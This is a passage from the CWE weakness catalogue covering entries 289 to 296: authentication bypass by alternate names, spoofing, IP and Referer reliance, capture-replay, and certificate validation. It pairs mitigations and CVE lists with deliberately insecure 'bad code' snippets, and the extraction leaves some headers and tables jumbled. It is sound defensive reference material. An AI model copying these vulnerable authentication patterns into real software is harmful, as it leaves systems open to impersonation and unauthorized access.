<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Authentication Bypass by Alternate Path/Channel</td>
</tr>
<tr>
<td>OWASP Top Ten 2007</td>
<td>A10</td>
<td>CWE More Specific</td>
<td>Failure to Restrict URL Access</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>127</td>
<td>Directory Indexing</td>
</tr>
</tbody>
</table>

(CAPEC Version 2.10)

CWE-289: Authentication Bypass by Alternate Name

Weakness ID: 289 (Weakness Variant) Status: Incomplete

Description

Summary
The software performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Access Control
Bypass protection mechanism

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0317</td>
<td>Protection mechanism that restricts URL access can be bypassed using URL encoding.</td>
</tr>
<tr>
<td>CVE-2004-0847</td>
<td>Bypass of authentication for files using &quot;\&quot; (backslash) or &quot;%5C&quot; (encoded backslash).</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>287</td>
<td>Improper Authentication</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>845</td>
<td>CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)</td>
<td>844</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1295</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>947</td>
<td>SFP Secondary Cluster: Authentication Bypass</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1376</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>46</td>
<td>Path Equivalence: 'filename ' (Trailing Space)</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>80</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>52</td>
<td>Path Equivalence: '/'multiple/trailing/slash//&quot;</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>85</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>332</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>173</td>
<td>Improper Handling of Alternate Encoding</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>335</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>178</td>
<td>Improper Handling of Case Sensitivity</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>343</td>
</tr>
</tbody>
</table>

Relationship Notes
Overlaps equivalent encodings, canonicalization, authorization, multiple trailing slash, trailing space, mixed case, and other equivalence issues.
Theoretical Notes
Alternate names are useful in data driven manipulation attacks, not just for authentication.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Authentication bypass by alternate name</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>IDS01-J</td>
<td>Normalize strings before validating them</td>
</tr>
</tbody>
</table>

CWE-290: Authentication Bypass by Spoofing

Weakness ID: 290 (Weakness Base)  Status: Incomplete

Description

Summary
This attack-focused weakness is caused by improperly implemented authentication schemes that are subject to spoofing attacks.

Time of Introduction
- Architecture and Design
- Implementation

Common Consequences
Access Control
Bypass protection mechanism
Gain privileges / assume identity
This weakness can allow an attacker to access resources which are not otherwise accessible without proper authentication.

Demonstrative Examples

Example 1:
The following code authenticates users.

Java Example: Bad Code

```java
String sourceIP = request.getRemoteAddr();
if (sourceIP != null & & sourceIP.equals(APPROVED_IP)) {
    authenticated = true;
}
```

The authentication mechanism implemented relies on an IP address for source validation. If an attacker is able to spoof the IP, they may be able to bypass the authentication mechanism.

Example 2:
Both of these examples check if a request is from a trusted address before responding to the request.

C/C++ Example: Bad Code

```c
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clilen = sizeof(cli);
    if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {
        n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
    }
}
```

Java Example: Bad Code

```java
while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress clientIPAddress = rp.getAddress();
    int port = rp.getPort();
}
```
The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.

Example 3:
The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

C Example:
```c
struct hostent *hp;struct in_addr myaddr;
char *tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
   trusted = true;
} else {
   trusted = false;
}
```

Java Example:
```java
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
   trusted = true;
}
```

C# Example:
```csharp
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
   trusted = true;
}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2009-1048</td>
<td>VOIP product allows authentication bypass using 127.0.0.1 in the Host header.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>287</td>
<td>Improper Authentication</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>956</td>
<td>SFP Secondary Cluster: Channel Attack</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>291</td>
<td>Reliance on IP Address for Authentication</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>293</td>
<td>Using Referer Field for Authentication</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>350</td>
<td>Reliance on Reverse DNS Resolution for a Security-Critical Action</td>
<td>699</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td>358</td>
<td>Improperly Implemented Security Check for Standard</td>
<td>1000</td>
</tr>
</tbody>
</table>
CWE-291: Reliance on IP Address for Authentication

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td></td>
<td>602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Relationship Notes
This can be resultant from insufficient verification.

Taxonomy Mappings
<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Authentication bypass by spoofing</td>
<td></td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>21</td>
<td>Exploitation of Trusted Credentials</td>
</tr>
<tr>
<td>22</td>
<td>Exploiting Trust in Client</td>
</tr>
<tr>
<td>59</td>
<td>Session Credential Falsification through Prediction</td>
</tr>
<tr>
<td>60</td>
<td>Reusing Session IDs (aka Session Replay)</td>
</tr>
<tr>
<td>94</td>
<td>Man in the Middle Attack</td>
</tr>
<tr>
<td>459</td>
<td>Creating a Rogue Certification Authority Certificate</td>
</tr>
<tr>
<td>461</td>
<td>Web Services API Signature Forgery Leveraging Hash Function Extension Weakness</td>
</tr>
<tr>
<td>473</td>
<td>Signature Spoof</td>
</tr>
</tbody>
</table>

References

CWE-291: Reliance on IP Address for Authentication

| Weakness ID: 291 (Weakness Variant) | Status: Incomplete |

Description

Summary
The software uses an IP address for authentication.

Extended Description
IP addresses can be easily spoofed. Attackers can forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Time of Introduction
• Architecture and Design

Applicable Platforms

Languages
• Language-independent

Common Consequences
Access Control
Non-Repudiation
Hide activities
Gain privileges / assume identity
Malicious users can fake authentication information, impersonating any IP address.

Likelihood of Exploit
High

Demonstrative Examples
Both of these examples check if a request is from a trusted address before responding to the request.
C/C++ Example:

```c
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr_s_addr = htonl(INADDR_ANY);
serv.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
  memset(msg, 0x0, MAX_MSG);
  clen = sizeof(cli);
  if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {
    n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
  }
}
```

Java Example:

```java
while(true) {
  DatagramPacket rp=new DatagramPacket(rData,rData.length);
  outSock.receive(rp);
  String in = new String(p.getData(),0, rp.getLength());
  InetAddress clientIPAddress = rp.getAddress();
  int port = rp.getPort();
  if (isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {
    out = secret.getBytes();
    DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);
  }
}
```

The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.

**Potential Mitigations**

**Architecture and Design**

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

**Weakness Ordinalities**

**Resultant** *(where the weakness is typically related to the presence of some other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>290</td>
<td>Authentication Bypass by Spoofing</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>793</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>923</td>
<td>Improper Restriction of Communication Channel to Intended Endpoints</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1354</td>
</tr>
</tbody>
</table>

**Causal Nature**

**Explicit** *(an explicit weakness resulting from behavior of the developer)*

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Trusting self-reported IP address</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>4</td>
<td>Using Alternative IP Address Encodings</td>
<td></td>
</tr>
</tbody>
</table>

---

**CWE-292: DEPRECATED (Duplicate): Trusting Self-reported DNS Name**

**Weakness ID:** 292 *(Deprecated Weakness Variant)*  
**Status:** Deprecated

**Description**

**Summary**
This entry has been deprecated because it was a duplicate of CWE-350. All content has been transferred to CWE-350.

**Likelihood of Exploit**
High

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP29</td>
<td>Faulty endpoint authentication</td>
</tr>
</tbody>
</table>

---

### CWE-293: Using Referer Field for Authentication

**Weakness ID:** 293 (*Weakness Variant*)

**Status:** Draft

**Description**

**Summary**
The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking.

**Alternate Terms**

**referrer**
While the proper spelling might be regarded as "referrer," the HTTP RFCs and their implementations use "referer," so this is regarded as the correct spelling.

**Time of Introduction**
- Architecture and Design

**Applicable Platforms**
- All

**Languages**
- All

**Common Consequences**

**Access Control**

**Gain privileges / assume identity**
Actions, which may not be authorized otherwise, can be carried out as if they were validated by the server referred to.

**Likelihood of Exploit**
High

**Demonstrative Examples**
The following code samples check a packet's referer in order to decide whether or not an inbound request is from a trusted host.

#### C++ Example:

```cpp
String trustedReferer = "http://www.example.com/"
while(true){
  n = read(newsock, buffer, BUFSIZE);
  requestPacket = processPacket(buffer, n);
  if (requestPacket.referer == trustedReferer){
    openNewSecureSession(requestPacket);
  }
}
```

#### Java Example:

```java
boolean processConnectionRequest(HttpServletRequest request){
  String referer = request.getHeader("referer")
  String trustedReferer = "http://www.example.com/"
  if(referer.equals(trustedReferer)){
    openPrivilegedConnection(request);
    return true;
  }
  else{
    sendPrivilegeError(request);
    return false;
  }
}
```
These examples check if a request is from a trusted referer before responding to a request, but the code only verifies the referer name as stored in the request packet. An attacker can spoof the referer, thus impersonating a trusted client.

**Potential Mitigations**

**Architecture and Design**

In order to usefully check if a given action is authorized, some means of strong authentication and method protection must be used. Use other means of authorization that cannot be simply spoofed. Possibilities include a username/password or certificate.

**Background Details**

The referer field in HTML requests can be simply modified by malicious users, rendering it useless as a means of checking the validity of the request in question.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>290</td>
<td>Authentication Bypass by Spoofing</td>
<td>516</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>949</td>
<td>SFP Secondary Cluster: Faulty Endpoint Authentication</td>
<td>1376</td>
</tr>
</tbody>
</table>

**Relevant Properties**

- Mutability

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Using referrer field for authentication</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP29</td>
<td>Faulty endpoint authentication</td>
</tr>
</tbody>
</table>

**References**


**CWE-294: Authentication Bypass by Capture-replay**

**Weakness ID: 294 (Weakness Base)**

**Status: Incomplete**

**Description**

**Summary**

A capture-replay flaw exists when the design of the software makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).

**Extended Description**

Capture-replay attacks are common and can be difficult to defeat without cryptography. They are a subset of network injection attacks that rely on observing previously-sent valid commands, then changing them slightly if necessary and resending the same commands to the server.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

Languages

- All

**Common Consequences**

- Access Control
  - Gain privileges / assume identity
    - Messages sent with a capture-relay attack allow access to resources which are not otherwise accessible without proper authentication.

**Likelihood of Exploit**

- High

**Observed Examples**

CWE-295: Improper Certificate Validation

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-3435</td>
<td>product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.</td>
</tr>
<tr>
<td>CVE-2007-4961</td>
<td>Chain: cleartext transmission of the MD5 hash of password (CWE-319) enables attacks against a server that is susceptible to replay (CWE-294).</td>
</tr>
</tbody>
</table>

### Potential Mitigations

#### Architecture and Design

Utilize some sequence or time stamping functionality along with a checksum which takes this into account in order to ensure that messages can be parsed only once.

#### Architecture and Design

Since any attacker who can listen to traffic can see sequence numbers, it is necessary to sign messages with some kind of cryptography to ensure that sequence numbers are not simply doctored along with content.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>287</td>
<td>Improper Authentication</td>
<td>699</td>
<td>508</td>
</tr>
<tr>
<td>ChildOf</td>
<td>956</td>
<td>SFP Secondary Cluster: Channel Attack</td>
<td>888</td>
<td>1378</td>
</tr>
<tr>
<td>MemberOf</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
<td>1323</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Authentication bypass by replay</td>
</tr>
<tr>
<td>CLASP</td>
<td>Capture-replay</td>
</tr>
</tbody>
</table>

### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>60</td>
<td>Reusing Session IDs (aka Session Replay)</td>
</tr>
<tr>
<td>94</td>
<td>Man in the Middle Attack</td>
</tr>
<tr>
<td>102</td>
<td>Session Sidejacking</td>
</tr>
</tbody>
</table>

### CWE-295: Improper Certificate Validation

**Weakness ID:** 295 *(Weakness Base)*

**Status:** Incomplete

**Description**

**Summary**

The software does not validate, or incorrectly validates, a certificate.

**Extended Description**

When a certificate is invalid or malicious, it might allow an attacker to spoof a trusted entity by using a man-in-the-middle (MITM) attack. The software might connect to a malicious host while believing it is a trusted host, or the software might be deceived into accepting spoofed data that appears to originate from a trusted host.

**Time of Introduction**

• Architecture and Design
• Implementation

**Applicable Platforms**

<table>
<thead>
<tr>
<th>Languages</th>
</tr>
</thead>
<tbody>
<tr>
<td>Language-independent</td>
</tr>
</tbody>
</table>

**Architectural Paradigms**

• Mobile Application

**Common Consequences**

<table>
<thead>
<tr>
<th>Integrity</th>
</tr>
</thead>
<tbody>
<tr>
<td>Authentication</td>
</tr>
<tr>
<td>Bypass protection mechanism</td>
</tr>
<tr>
<td>Gain privileges / assume identity</td>
</tr>
</tbody>
</table>
Detection Methods

**Automated Static Analysis - Binary / Bytecode**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  - Binary Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Web Application Scanner

**Dynamic Analysis with manual results interpretation**

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Man-in-the-middle attack tool

**Manual Static Analysis - Source Code**

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Focused Manual Spotcheck - Focused manual analysis of source
  - Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

**Architecture / Design Review**

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0862</td>
<td>Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.</td>
</tr>
<tr>
<td>CVE-2003-1229</td>
<td>chain: product checks if client is trusted when it intended to check if the server is trusted, allowing validation of signed code.</td>
</tr>
<tr>
<td>CVE-2005-3170</td>
<td>LDAP client accepts certificates even if they are not from a trusted CA.</td>
</tr>
<tr>
<td>CVE-2008-4989</td>
<td>Verification function trusts certificate chains in which the last certificate is self-signed.</td>
</tr>
<tr>
<td>CVE-2009-0265</td>
<td>chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.</td>
</tr>
<tr>
<td>CVE-2009-1358</td>
<td>chain: OS package manager does not check properly check the return value, allowing bypass using a revoked certificate.</td>
</tr>
<tr>
<td>CVE-2009-2408</td>
<td>Web browser does not correctly handle \0 character (NUL) in Common Name, allowing spoofing of https sites.</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-295: Improper Certificate Validation

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2009-3046</td>
<td>Web browser does not check if any intermediate certificates are revoked.</td>
</tr>
<tr>
<td>CVE-2010-1378</td>
<td>Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate.</td>
</tr>
<tr>
<td>CVE-2012-2933</td>
<td>Smartphone device does not verify hostname, allowing spoofing of mail services.</td>
</tr>
<tr>
<td>CVE-2012-3446</td>
<td>Cloud-support library written in Python uses incorrect regular expression when matching hostname.</td>
</tr>
<tr>
<td>CVE-2012-5810</td>
<td>Mobile banking application does not verify hostname, leading to financial loss.</td>
</tr>
<tr>
<td>CVE-2012-5817</td>
<td>Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname.</td>
</tr>
<tr>
<td>CVE-2012-5819</td>
<td>Cloud storage management application does not validate hostname.</td>
</tr>
<tr>
<td>CVE-2012-5821</td>
<td>Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA).</td>
</tr>
<tr>
<td>CVE-2012-5822</td>
<td>Application uses third-party library that does not validate hostname.</td>
</tr>
<tr>
<td>CVE-2014-1266</td>
<td>chain: incorrect &quot;goto&quot; in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple &quot;goto fail&quot; bug). CWE-705 (Incorrect Control Flow Scoping) -&gt; CWE-561 (Dead Code) -&gt; CWE-295 (Improper Certificate Validation) -&gt; CWE-393 (Return of Wrong Status Code) -&gt; CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Implementation**

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

**Background Details**

A certificate is a token that associates an identity (principle) to a cryptographic key. Certificates can be used to check if a public key belongs to the assumed owner.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
<td>1003 453</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>310</td>
<td>Cryptographic Issues</td>
<td>699 548</td>
</tr>
<tr>
<td>PeerOf</td>
<td>B</td>
<td>322</td>
<td>Key Exchange without Entity Authentication</td>
<td>1000 568</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000 1077</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>711 1123</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>296</td>
<td>Improper Following of a Certificate's Chain of Trust</td>
<td>699 525</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>297</td>
<td>Improper Validation of Certificate with Host Mismatch</td>
<td>699 526</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>298</td>
<td>Improper Validation of Certificate Expiration</td>
<td>699 528</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>299</td>
<td>Improper Check for Certificate Revocation</td>
<td>699 530</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>599</td>
<td>Missing Validation of OpenSSL Certificate</td>
<td>699 942</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A10</td>
<td>CWE More Specific</td>
<td>Insecure Configuration Management</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>459</td>
<td>Creating a Rogue Certification Authority Certificate</td>
</tr>
</tbody>
</table>

**References**

CWE-296: Improper Following of a Certificate's Chain of Trust

<table>
<thead>
<tr>
<th>Weakness ID: 296 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Summary</strong></td>
<td></td>
</tr>
<tr>
<td>The software does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.</td>
<td></td>
</tr>
<tr>
<td><strong>Extended Description</strong></td>
<td></td>
</tr>
<tr>
<td>If a system does not follow the chain of trust of a certificate to a root server, the certificate loses all usefulness as a metric of trust. Essentially, the trust gained from a certificate is derived from a chain of trust -- with a reputable trusted entity at the end of that list. The end user must trust that reputable source, and this reputable source must vouch for the resource in question through the medium of the certificate.</td>
<td></td>
</tr>
<tr>
<td>In some cases, this trust traverses several entities who vouch for one another. The entity trusted by the end user is at one end of this trust chain, while the certificate-wielding resource is at the other end of the chain. If the user receives a certificate at the end of one of these trust chains and then proceeds to check only that the first link in the chain, no real trust has been derived, since the entire chain must be traversed back to a trusted source to verify the certificate.</td>
<td></td>
</tr>
<tr>
<td>There are several ways in which the chain of trust might be broken, including but not limited to:</td>
<td></td>
</tr>
<tr>
<td>Any certificate in the chain is self-signed, unless it the root.</td>
<td></td>
</tr>
<tr>
<td>Not every intermediate certificate is checked, starting from the original certificate all the way up to the root certificate.</td>
<td></td>
</tr>
<tr>
<td>An intermediate, CA-signed certificate does not have the expected Basic Constraints or other important extensions.</td>
<td></td>
</tr>
<tr>
<td>The root certificate has been compromised or authorized to the wrong party.</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Time of Introduction</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>• Architecture and Design</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Applicable Platforms</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Languages</td>
<td></td>
</tr>
<tr>
<td>• Language-independent</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Common Consequences</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Non-Repudiation</td>
<td></td>
</tr>
<tr>
